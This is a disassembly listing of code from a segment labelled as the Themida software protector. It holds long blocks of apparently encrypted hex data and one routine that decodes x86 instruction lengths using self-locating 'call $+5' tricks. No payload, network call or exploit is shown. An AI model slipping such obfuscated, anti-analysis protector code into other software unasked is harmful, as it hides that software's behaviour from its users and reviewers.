		dd 0CE160CE9h, 0D8255230h, 0FD9ED796h, 0F69FAB75h, 81510EC9h
		dd 0C6F22A88h, 0C69B37E7h, 98B8DFD8h, 0B21181AFh, 8219DB12h
		dd 0C684DB3Fh, 90DEDF8Dh, 0F3300F05h, 74A9882Dh, 0D5716F75h
		dd 0FB98DFD8h, 75D8A0FBh, 0E0F46CD9h, 458C1F73h, 0DFA1E481h
		dd 0C6F21EECh, 0C69B3733h, 9EB8DFB1h, 8211871Bh, 8219DB48h
		dd 0C68EDB12h, 96D8DF1Bh, 467A804Eh, 0C69E53C9h, 2C19DF63h
		dd 0FBCFB7ABh, 0D809625Bh, 0C999D96Fh, 0C69899B2h, 16138D1Bh
		dd 43255CD7h, 0C69EDCDAh, 0C6AD5A6Ch, 2D18DFB1h, 1B255C9Fh
		dd 0C69EDC40h, 0C6B65B39h, 0C6F2DF1Bh, 0C69B37DDh, 9EB8DFC6h
		dd 821187A0h, 8219DB95h, 0C68DDBFCh, 96D8DF6Ch,	0C98671F5h
		dd 0C698DD9Bh, 2F4E548Dh, 0C698DF6Eh, 9AE66505h, 0D8096232h
		dd 0C999D9DBh, 0C6988BE9h, 9098B536h, 0C698DCF3h, 5C6FF8Dh
		dd 0E2EC5698h, 0E2DC5E67h, 0C698C7B5h, 5CE99D8h, 0B81EBFCBh
		dd 0CC725FC6h, 9098B546h, 0C698DC65h, 5C6FFC6h,	0E2EC563Dh
		dd 0E2DC5EB5h, 0C698C3DCh, 5CE996Ch, 72B71BC9h,	18818A4Dh
		dd 5415406h, 83718494h,	7198DF63h, 1F1382ECh, 9698B517h
		dd 0C698DC84h, 5C0FF36h, 0E2DC5643h, 0E2DC5E89h, 0C698C2C2h
		dd 5C89F63h, 0FD46D6BAh, 30C7276Bh, 0C971E2B4h,	0DD98DF36h
		dd 1C930349h, 0F34342DAh, 760CAAD9h, 1419E169h,	0D775553Fh
		dd 4FCC6255h, 4B15D964h, 0C0905196h, 0FCC4C2A3h, 871DECF6h
		dd 0ED9EDCDDh, 0C4711EACh, 0A993D021h, 0CE94BDAh, 5230CE16h
		dd 0D796D825h, 0AB75FD9Eh, 0EC9F69Fh, 0F305E983h, 0FEBD83A4h
		dd 60888h, 8D8D0D74h, 6034D1Ch,	1B8h, 40E1FF00h, 0B95BB66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8AC35242h
		dd 7C59F85Dh, 305FA29Dh, 8E9h, 21063B00h, 61B76BF4h, 2DE883DCh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 6EC35343h
		dd 3C3CDB9Eh, 0DA8AD98Fh, 8BD38B66h, 57006AC0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 2D39E78Eh
		dd 0F82D7A32h, 83D0B70Fh, 31039BDh, 9750006h, 111DBD83h
		dd 74000603h, 8B535019h, 3FCB8C0h, 85890000h, 6032391h
		dd 0B0F89D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh, 50177400h
		dd 3FCB853h, 85890000h,	6032391h, 0AD999D8Dh, 0D3FF0605h
		dd 7E9585Bh, 94000000h,	42DEBE67h, 0C08B9207h, 1C8E9h
		dd 8 dup(41888800h), 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 8CED815Dh, 60060891h, 90D985C7h, 608h, 81660000h, 0FA1663Eh
		dd 0F85h, 0DD85C700h, 6060890h,	0E9000000h, 24h, 90E1858Dh
		dd 8D500608h, 8913185h,	6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	60890DDh, 0DDB50361h, 8B060890h
		dd 890D985h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_594E8C
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_594E98
; ---------------------------------------------------------------------------


loc_594E8C:				; CODE XREF: Themida_:00594E75j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_594E98:				; CODE XREF: Themida_:00594E87j
		push	ebx
		push	esi
		push	edi


loc_594E9B:				; CODE XREF: Themida_:00594EF0j
					; Themida_:00594F0Cj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_594EAE:				; CODE XREF: Themida_:00594ED5j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6089243h
		lea	ebp, [ebp+60890B9h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_594EDB
		inc	cl
		cmp	cl, 0Bh
		jb	loc_594EAE


loc_594EDB:				; CODE XREF: Themida_:00594ECAj
		cmp	cl, 0Bh
		jz	loc_594F38
		cmp	al, 66h
		jnz	loc_594F19
		cmp	byte ptr [ebp-5], 0
		jnz	loc_594E9B
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_594F11
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_594E9B
; ---------------------------------------------------------------------------


loc_594F11:				; CODE XREF: Themida_:00594EFEj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_594F19:				; CODE XREF: Themida_:00594EE6j
		cmp	al, 67h
		jnz	loc_594E9B
		cmp	byte ptr [ebp-6], 0
		jnz	loc_594E9B
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_594E9B
; ---------------------------------------------------------------------------


loc_594F38:				; CODE XREF: Themida_:00594EDEj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh


loc_594F41:				; DATA XREF: ___:off_4387F8o
		mov	[ebx], cl
		jnz	loc_594F64
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_594F69
; ---------------------------------------------------------------------------


loc_594F64:				; CODE XREF: Themida_:00594F43j
		movzx	edi, al
		shr	edi, 1


loc_594F69:				; CODE XREF: Themida_:00594F5Fj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60892FBh
		lea	ebp, [ebp+6088FB9h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5950EB
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59502F
		dec	ecx
		jz	loc_595012
		dec	ecx
		jnz	loc_595082
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59507E
		cmp	byte ptr [ebp-5], 0
		jz	loc_594FF1
		mov	byte ptr [ebp+0Bh], 2


loc_594FF1:				; CODE XREF: Themida_:00594FE7j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6089387h
		mov	dword ptr [ebp+60890D9h], 1
		pop	ebp
		jmp	loc_595082
; ---------------------------------------------------------------------------


loc_595012:				; CODE XREF: Themida_:00594FCCj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59505C
		cmp	byte ptr [ebp-5], 0
		jz	loc_59505C
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59505C
; ---------------------------------------------------------------------------


loc_59502F:				; CODE XREF: Themida_:00594FC5j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_595075
		cmp	byte ptr [ebp-5], 0
		jz	loc_595064
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59505C
		mov	[ebp+0Bh], cl


loc_59505C:				; CODE XREF: Themida_:00595016j
					; Themida_:00595020j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_595082
; ---------------------------------------------------------------------------


loc_595064:				; CODE XREF: Themida_:0059503Dj
		cmp	dl, 5
		jnz	loc_595082
		mov	[ebp+0Bh], dl
		jmp	loc_595082
; ---------------------------------------------------------------------------


loc_595075:				; CODE XREF: Themida_:00595033j
		cmp	dl, 6
		jnz	loc_595082


loc_59507E:				; CODE XREF: Themida_:00594FDDj
		mov	byte ptr [ebp+0Bh], 3


loc_595082:				; CODE XREF: Themida_:00594FD3j
					; Themida_:0059500Dj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5950B0
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_595092:				; CODE XREF: Themida_:005950A8j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_595092
		mov	esi, edx


loc_5950B0:				; CODE XREF: Themida_:00595085j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5950E5
		cmp	edi, 7Fh
		ja	loc_5950E5
		test	bl, 38h
		jnz	loc_5950E5
		cmp	byte ptr [ebp-7], 0
		jz	loc_5950DF
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5950E2
; ---------------------------------------------------------------------------


loc_5950DF:				; CODE XREF: Themida_:005950D0j
		push	1
		pop	eax


loc_5950E2:				; CODE XREF: Themida_:005950DAj
		mov	[ebp-1], al


loc_5950E5:				; CODE XREF: Themida_:005950B4j
					; Themida_:005950BDj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5950EB:				; CODE XREF: Themida_:00594F95j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_595116
		dec	eax
		dec	eax
		jz	loc_59510C
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59511E
; ---------------------------------------------------------------------------


loc_59510C:				; CODE XREF: Themida_:005950FBj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59511B
; ---------------------------------------------------------------------------


loc_595116:				; CODE XREF: Themida_:005950F3j
		mov	al, [ebp-3]
		add	al, 4


loc_59511B:				; CODE XREF: Themida_:00595111j
		add	[ebp-1], al


loc_59511E:				; CODE XREF: Themida_:00595107j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_595146
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_595131:				; CODE XREF: Themida_:00595140j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_595131


loc_595146:				; CODE XREF: Themida_:00595126j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLS_0		db '‹Ðè',7,0
		align 4
		dd 0EE4B1908h, 661CC24Fh, 5B1AB1B8h, 0C3C381F9h, 6000005Ch
		dd 8F0F93B4h, 3, 61DF8B66h, 0B9h, 8BC78B00h, 0B2530B3Ch
		dd 0EF8158EEh, 78AB8A45h, 81F1BF0Fh, 0D5AE46EFh, 58B0F64h
		dd 66000000h, 0FD13C081h, 0E9A2C781h, 0EE929DFh, 2B000000h
		dd 941C479Dh, 768102D9h, 38897B94h, 0B8665718h,	48F48CBh
		dd 3E5BB80Bh, 890F0729h, 4, 0AB8AB866h,	5604E983h, 12E9h
		dd 74C8ED00h, 0E7D5C551h, 0DD975B86h, 0DC119474h, 5E41CDF0h
		dd 0A418F981h, 850FFFFFh, 1Eh, 0CE9h, 0C08EAF00h, 6B33AABAh
		dd 0A6737084h, 29E9ABh,	0EF5E0000h, 0C6F109F4h,	0EE8D245h
		dd 0AE000000h, 24832C86h, 1D9DF9EDh, 8DCD04C8h,	0E95EFCA3h
		dd 0FFFFFF4Fh, 28862283h, 0EB970649h, 0E9E34E08h, 0E7339C2Bh
		dd 0D79E977h, 0C2680000h, 0E9060897h, 0FFFAE78Dh, 898A868h
		dd 0E783E906h, 7168FFFAh, 0E906089Ah, 0FFFAE779h, 89BAA68h
		dd 0E76FE906h, 3368FFFAh, 0E906089Dh, 0FFFAE765h, 89F7268h
		dd 0E75BE906h, 0D068FFFAh, 0E90608A0h, 0FFFAE751h, 8A1A668h
		dd 0E747E906h, 6534FFFAh, 0DCB90C40h, 4A2CB1D7h, 0B65E23A1h
		dd 29CE5331h, 0B766CC80h, 0E7E50EE3h, 6B797E12h, 99CFF486h
		dd 85C6134h, 80193169h,	0FC71065Ah, 89A96A4Ch, 7648E84Fh
		dd 2A1E9513h, 6C2AA243h, 99F3F899h, 7A1D70CCh, 2D581775h
		dd 0B219A277h, 7E54F4h,	0A15B7512h, 0BE11089h, 74016C71h
		dd 9EDE04Fh, 0BE1E4E4h,	52DBF2Ah, 710BE088h, 0BAD2D7B8h
		dd 0B14445D7h, 0A2095C0Ch, 5F83A12Ah, 5812D4FFh, 0BE057F0h
		dd 0E70CE971h, 3AA1E0E5h, 37567ABEh, 0AB3DC256h, 3DC6AB3Eh
		dd 3E687C47h, 4967936Ah, 55000000h, 0B2DADFB0h,	1DA59D7h
		dd 67618A6Ch, 65F0F99Ah, 5755208Fh, 0FF7D0F1Bh,	64F37511h
		dd 1FB8904Ah, 9D710BDFh, 0F21A72CEh, 710BDF55h,	3F396DD3h
		dd 936A4125h, 8B86DD7Eh, 0D0B83DD1h, 0F376E4B5h, 49DFF75h
		dd 1E000001h, 2AA2432Ah, 7109B247h, 556254AEh, 0DE5A3F31h
		dd 0AB4C238Eh, 967721h,	4446D03h, 0F792FA41h, 7C811479h
		dd 25CEA342h, 264A26A3h, 0F16ABE78h, 4F770E02h,	266FF4Bh
		dd 0FDA770Eh, 16E4C4A0h, 48770E07h, 0D24C00A5h,	0B22A3F01h
		dd 5AD69177h, 0D5F6037h, 0D9910F7Ah, 0B9E22806h, 0C7BDBF0Ah
		dd 9337A189h, 76E57511h, 31AA7E38h, 8F710B77h, 7F085CD8h
		dd 70D89614h, 6F092842h, 601304D7h, 4B7E2094h, 6901D4EDh
		dd 40029BAFh, 0EB7E7708h, 0DF99530Dh, 83FD24Bh,	3DBB2E77h
		dd 0AE22C7A8h, 0F54736DBh, 0F008F44Dh, 0E0ADC453h, 0B9E6D6ACh
		dd 0AC73CD1h, 9E80000h,	801DE0E4h, 0EE80157Bh, 5A3287C5h
		dd 0CDA23755h, 13C2A024h, 5B09B247h, 0CF9D22F6h, 7D13987Ah
		dd 0ECE005E8h, 0DC75D5D5h, 20710659h, 452AD390h, 0A209B244h
		dd 65FE4A04h, 0DB770EF0h, 49DCB00Ch, 846901A6h,	0CB9ECEF3h
		dd 0F05A196Dh, 0FF4B6785h, 7511FF4Dh, 0AC7414C3h, 710BDF2Fh
		dd 51347FDh, 936A40FFh,	0D8F8h,	2404BE00h, 710BD3ABh, 75EE4A11h
		dd 2AA2432Ah, 5F09B247h, 436434D9h, 0F4F7C5E5h,	6302770Eh
		dd 65606891h, 9213FA8Fh, 0CAAD40FEh, 533A4F25h,	28D3A52h
		dd 563BCAE4h, 575C3EADh, 9AD45035h, 0E3553FE0h,	94143534h
		dd 4C5765C3h, 70CC60BDh, 1125CE58h, 0CB994C75h,	0D3D4B84Dh
		dd 19FEA55h, 0C0C4C169h, 0A5306F08h, 1297780Dh,	0FD06EB7Eh
		dd 0D6A0F3C2h, 0D30EDEE6h, 9E1h, 9ACEEF82h, 0F5D6637h
		dd 0B92FD4BAh, 29BF40D4h, 5A0EB344h, 98792DE8h,	8E87D13h
		dd 7E1CE1E7h, 0EB821775h, 0BBFF86CAh, 658F66Fh,	39BA4A71h
		dd 376452Ah, 2E9D607Ah,	0DD21AA1Eh, 27026CBCh, 7BC6AD56h
		dd 29D49C3Fh, 354A6B0Fh, 0D8AE0EC3h, 3341D9E8h,	0CDA11FEAh
		dd 7C109578h, 886C0107h, 66FF4B67h, 0DA770EF0h,	39DCB10Fh
		dd 8362D4B4h, 0C580C8F1h, 72731A6Fh, 8826511Eh,	0FB2C5AEEh
		dd 0ECAA7511h, 0BD2C35Ch, 51CA5E71h, 0AF710BD2h, 0E7721938h
		dd 0AD523ACBh, 0F16FB7D7h, 3710BD2h, 0B31E4E6Fh, 0CAB1DBDCh
		dd 4D14A6EAh, 0BE57F3ADh, 2710BD2h, 0B1E5D957h,	6A309DA7h
		dd 6685A93h, 0F0E50000h, 914B6785h, 0EF1782CEh,	2D8BCD20h
		dd 11584F1Dh, 4E1ECD75h, 0B5829A6h, 1539E771h, 69B5F903h
		dd 640F693h, 0F0010000h, 3609AD85h, 5933B85Ah, 72CD6B0Ch
		dd 0CE47D9FEh, 1EA8AF2Ah, 5153F7B3h, 0EF7511BDh, 81CBEC80h
		dd 0C76F79C4h, 710B7E4Ah, 0FBED12FAh, 117B8016h, 5AB339BEh
		dd 0FB882961h, 1AA51539h, 0DEE6F226h, 99936A2Bh, 5F6h
		dd 886C011Ah, 5F606567h, 0BDF9C798h, 3B926EE3h,	3CBAC545h
		dd 0B1F0A682h, 0FC97511h, 0B78A23Bh, 0ED4B1E71h, 0C26A01D4h
		dd 0F4F88FDCh, 0AAE9C1CCh, 0ED7BD757h, 76169B78h, 60F38413h
		dd 0A74F81E7h, 45E59D68h, 0EAFBA1EFh, 2DC0FE6Dh, 0A2CAA64Bh
		dd 0DDF323F4h, 5F1FFCB2h, 8D2B56E1h, 53983BF5h,	0C80AD44Fh
		dd 0BBF3DB51h, 5E8FC65h, 0A45E1856h, 0F8660B84h, 0EEA71ECh
		dd 5713947Bh, 66148D9Dh, 0FD68ECF8h, 0F79E6307h, 4D1ABFF6h
		dd 0FDF6CC6h, 818D2h, 37B85B00h, 8A2FCC51h, 149D73C6h
		dd 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h, 0D5B82CD1h
		dd 5B2EA247h, 45D33B4h,	562DA682h, 0E1937106h, 0A2432A02h
		dd 96B26C2Ah, 770EF0FDh, 0AF189443h, 575C3EE4h,	0ADC55035h
		dd 739920F3h, 0BA3601Ah, 2AC39DADh, 0D2B97507h,	8A6D00BEh
		dd 0F2BF8F65h, 1A710620h, 9015F86Fh, 2BC9B3FCh,	211ABB8Fh
		dd 0C3967106h, 594C0F89h, 88AB5A91h, 0B84A4C2h,	7171066Dh
		dd 947B0EEAh, 56B01FC0h, 47472411h, 632CC45h, 0D2763071h
		dd 71063239h, 645D087h,	4E1B4D72h, 5126C7E3h, 90B8CCA8h
		dd 710632E3h, 167A7F1Dh, 0AFCBEC83h, 757E10F5h,	0BD567613h
		dd 3710632h, 68B0D854h,	0A5CDA2EBh, 0F688DC10h,	67CA9E1Fh
		dd 0BB7D6F90h, 0FD69AC18h, 0EE4A2861h, 17ED41DEh, 0CB1F157Dh
		dd 8227F598h, 4C219FCAh, 8D4004A9h, 12Dh, 0A2432A30h, 0CB5472Ah
		dd 820DA5Ch, 770EF08Fh,	0AA827EEDh, 770EF031h, 9D732CC3h
		dd 0A8DF8914h, 0E9A3DFDDh, 30FE5336h, 947B8A28h, 288413h
		dd 75070346h, 0A30EA134h, 36E0D8D2h, 6DFBB56h, 0F1800000h
		dd 683598CCh, 0D6B80D43h, 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch
		dd 73119A7Fh, 0E7E50AEEh, 157B8012h, 84C8ED80h,	0F46DBDFDh
		dd 48710655h, 432A3BB8h, 8E6104A2h, 8E6A7F69h, 0C25538FEh
		dd 993EAB3Dh, 17E1ED80h, 0B1D45089h, 20B5DBE0h,	7D3BA952h
		dd 1C88B7DAh, 4622B08Fh, 0FAB4C23h, 4DDA997Eh, 812136C7h
		dd 0C6AB3D88h, 4622892Eh, 31BA5F22h, 1A079479h,	0E6E64D72h
		dd 986505E3h, 99AF2F7h,	0EA8FC70Bh, 39535839h, 545939ACh
		dd 481D9BC9h, 0E54800A5h, 0E8FDEF14h, 889CA71Dh, 47996CD8h
		dd 11h,	8A6C01F0h, 658A6261h, 978A6663h, 82h, 0A2432A2Eh
		dd 85022Ah, 5B59770Fh, 17987F37h, 0E50EEC71h, 505538CDh
		dd 3454593Dh, 6BB3DB51h, 770EE0EDh, 0CED2853Dh,	55D4A373h
		dd 71A59917h, 32565B39h, 0A3482A41h, 0DEB64429h, 0EF0D14Ah
		dd 6A8B6377h, 99D1BC2Bh, 279D26F4h, 3458C447h, 751BA072h
		dd 0EE822A5h, 0F98C2A77h, 2E159318h, 996D4617h,	0E1AD48Eh
		dd 770EF095h, 0B32C7CEBh, 9770EF0h, 8EF4E642h, 7FFFFFEh
		dd 2F15Ah
		dd 432AD900h, 175304A2h, 23667E49h, 739BF349h, 770ED4C6h
		dd 2179AD91h, 563BA94Eh, 86AE3EBFh, 770ED4F9h, 7A3442Bh
		dd 0D464FD4Dh, 0DD8770Eh, 0E590D7B7h, 0C59FABC7h, 0DC750768h
		dd 678D0622h, 64F37106h, 8322A988h, 0E0D84F12h,	56322FBFh
		dd 19000005h, 8217757Ah, 3184C8F1h, 0A3365A5Fh,	0D3A62ACBh
		dd 5DD7B53Eh, 9E23F4A2h, 129367CAh, 0E009EB7Eh,	717619ECh
		dd 0E4444213h, 7106536Bh, 2A4C2FD1h, 33B85A43h,	0B85924A4h
		dd 0C7029AF9h, 7C1D05D6h, 767E7F15h, 9EF25993h,	0D43640Bh
		dd 0BAD2D7B8h, 0BEB35BFCh, 94C5F512h, 1FA47518h, 3266DE4Dh
		dd 7E129778h, 6D0FAFB5h, 230A899h, 0F0CB0000h, 0DE666686h
		dd 0ACE55ADFh, 0BCAFF321h, 2A63CB1Bh, 20087B90h, 7820BFA7h
		dd 7DFB4615h, 7F1D2E36h, 208299Ah, 0F04A0000h, 0E0486686h
		dd 770EF067h, 0BE4606D5h, 0ACE55ABFh, 9CCF1301h, 1CE1F5FBh
		dd 2EC64493h, 3F8ADF89h, 186A7241h, 0DB659A7Fh,	96000001h
		dd 486686F0h, 0F021BA8Eh, 0C89F770Eh, 7116326Ch, 0CF770EF0h
		dd 0C9A87018h, 17ACE55Ah, 0CC86E529h, 1FF2E37Ch, 0F4B25978h
		dd 1FF2BB54h, 0DE5A0178h, 7E4FCFD5h, 1A0889Ah, 2DEE0000h
		dd 4FA19FC0h, 970CE811h, 30D95E01h, 580AF1BAh, 8B2953DCh
		dd 0ECBA5BEFh, 0A336770Eh, 57220129h, 0C86EACE5h, 0F6A13A0Eh
		dd 481F781Fh, 9C84C8ECh, 9A7E5488h, 16547h, 432AF000h
		dd 0B0472AA2h, 632E590Fh, 866A2D45h, 95C6EB0Ch,	0F9510FE5h
		dd 75119023h, 0D807D586h, 0FB8AC62h, 83C590B1h,	0B6DDE7Bh
		dd 0A2F62A71h, 69CAAEB6h, 7D10F593h, 0EF8D1078h, 78C782CAh
		dd 4B9EFCh, 0F0190000h,	0FF4B6785h, 7511FF4Dh, 0C55EEAA4h
		dd 3B710BDFh, 6AF1D0ACh, 1DB6924Ch, 4710BE0h, 0BDFAB24h
		dd 4B4A1171h, 0CE48209Ch, 0D8545D3Fh, 0BDF53F0h, 3F63D171h
		dd 6A412339h, 62C68093h, 710BD3E9h, 36248057h, 0BCh, 68432A41h
		dd 0E8ED649Ch, 0C79F09D7h, 820A9728h, 0EBACCA51h, 59D80159h
		dd 4424806Ah, 5A5B33D2h, 0F1B5732h, 770E8F96h, 0EC817FEAh
		dd 1BE6E60Bh, 0B4197374h, 6088DCE1h, 770E9492h,	0F35729CCh
		dd 770E8B5Ah, 0AA433A6h, 0CEE977Bh, 2F4718E7h, 641EBE98h
		dd 18573BB1h, 17334F6Dh, 750C3508h, 7015AD38h, 0E3761A9Fh
		dd 0D3CAE50Eh, 0EE0D53Ch, 317E37Eh, 0B9580000h,	30CD5034h
		dd 9E70C58Bh, 0AE27715h, 7D12E7E5h, 63921074h, 0B596237h
		dd 0BF2DD2A6h, 2DA3482Ah, 5C30B558h, 2CA58505h,	90710651h
		dd 452A03E0h, 48E0B444h, 770EF0CFh, 0B9D3BE2Dh,	0BE03412Ch
		dd 0C1B2D6D7h, 2AA2432Ah, 590FB047h, 0EF113B1h,	6E8CF777h
		dd 14F6F850h, 0A1347512h, 4701B023h, 0EF06AE3h,	93D0A877h
		dd 2F6D8CB1h, 0E68B61F4h, 3DD0EE0Fh, 54315B60h,	4A2DB0D8h
		dd 0A837BC5Dh, 31008B24h, 0E998019h, 8269FC77h,	0A98E44E4h
		dd 590C7511h, 0A96AE70Fh, 7AA6710Bh, 73A4256h, 3835936Ah
		dd 46000000h, 4B6785F0h, 65E0CE91h, 0B1B439C1h,	0E820099h
		dd 2E97C77h, 90F486A6h,	0FF6A7511h, 0B85A2BEDh,	0B00C5933h
		dd 0B72FB98h, 0C70B0971h, 69D3CBD1h, 0B78493h, 2A370000h
		dd 6104A243h, 0BB7D6F94h, 0EF0F66Fh, 309F4A77h,	0A849D4B4h
		dd 11E44903h, 7E11FCECh, 0F5C36B79h, 2F770EF4h,	5C21A748h
		dd 135434B9h, 1C2C4A68h, 751209EEh, 0DCEBF96Ch,	4C27CBB1h
		dd 8D02CCA1h, 0FA412C9Eh, 15776CBCh, 0DEB56F09h, 0B1D4B43Dh
		dd 19F98C2Ah, 0C091F494h, 96985507h, 2967DDA6h,	5A0EB344h
		dd 44A33BDCh, 7A2233C2h, 0FD06EBFEh, 0D6DBCDC2h, 0E17C0CE6h
		dd 1B9h, 0F29617FAh, 67658E6Fh,	91F7FC92h, 147680Ch, 0B2D6DBBCh
		dd 0C0510530h, 30C0553Bh, 0A674D98Fh, 13FA4F1Dh, 0E3A7FE92h
		dd 650CE47h, 0E1823271h, 28BC452Ah, 5F0DB245h, 6785F024h
		dd 0FF4DFF4Bh, 14C37511h, 0DF2FAC74h, 2FC1710Bh, 9B7FC28Ah
		dd 2B09721Ah, 100C57E7h, 2FCCA1CCh, 0DF58F159h,	31A4710Bh
		dd 0C9A722AAh, 6A40E2FAh, 0B69D93h, 2A1E0000h, 472AA243h
		dd 981DF1B2h, 21F695F0h, 0B35B0D98h, 770EF5C5h,	5A5F31D4h
		dd 0C3E48BDEh, 5055388Dh, 0E6048F38h, 0A5260C8h, 15C07512h
		dd 5724C977h, 13AF3A52h, 0BC99E37h, 0F977E271h,	0DA5434Eh
		dd 965073Dh, 98D6856Fh,	0CC9C21F5h, 80652399h, 3386CAEFh
		dd 0EF1A555Eh, 72E6D64Ch, 0E3479Ah, 0ED8C0000h,	643184C8h
		dd 0D2A4095Fh, 3ED6BB29h, 0B1462BB9h, 2FEE4408h, 7F6D967Bh
		dd 0E3E106EAh, 11777C1Eh, 80C4E98Ch, 0F891B9F1h, 4471064Fh
		dd 452A37B4h, 0B24528BCh, 956522F5h, 866D7810h,	31EB553Bh
		dd 0EF08019h, 0D7A3FC77h, 0E93ADEF5h, 0E96AC6ADh, 2AA2432Ah
		dd 590FB047h, 2D45632Eh, 5731BA58h, 3ABB5F32h, 954600BEh
		dd 0F08C1D3Dh, 44D4BB7Fh, 27E5C5A3h, 1575074Bh,	0D4BB0646h
		dd 4528BDD3h, 310028A0h, 4753E705h, 0AEDA5E9h, 7B12E7E5h
		dd 0E78F127Ah, 49F7A8C6h, 96FAD87Ch, 0F8E38B61h, 3BF590C4h
		dd 256076EFh, 0A11FCA4Bh, 997C29CCh, 0E4E409ECh, 0EC451AE1h
		dd 120BFD05h, 0C699D1BCh, 987F975Ch, 4F107517h,	67034CE8h
		dd 25A94AC3h, 4523B64Bh, 34B95C21h, 3B954h, 3C40000h, 0A6472A80h
		dd 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh,	476C0D90h
		dd 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 89570B40h,	4C781E7h
		dd 83000000h, 3C8704EFh, 1C895C24h, 0E7895724h,	4C781h
		dd 0EF830000h, 243C8704h, 243C895Ch, 56BD68h, 240C8900h
		dd 461BBD55h, 0BB530D50h, 14007B7Dh, 815BDD29h,	682F64CDh
		dd 0E5F5815Bh, 0F7377211h, 0FAF581D5h, 8935EA97h, 0D1685DEFh
		dd 89000067h, 4812424h,	424h, 89525900h, 85189FAh, 8124148Bh
		dd 4C4h, 240C8B00h, 81E28952h, 4C2h, 4C28100h, 87000000h
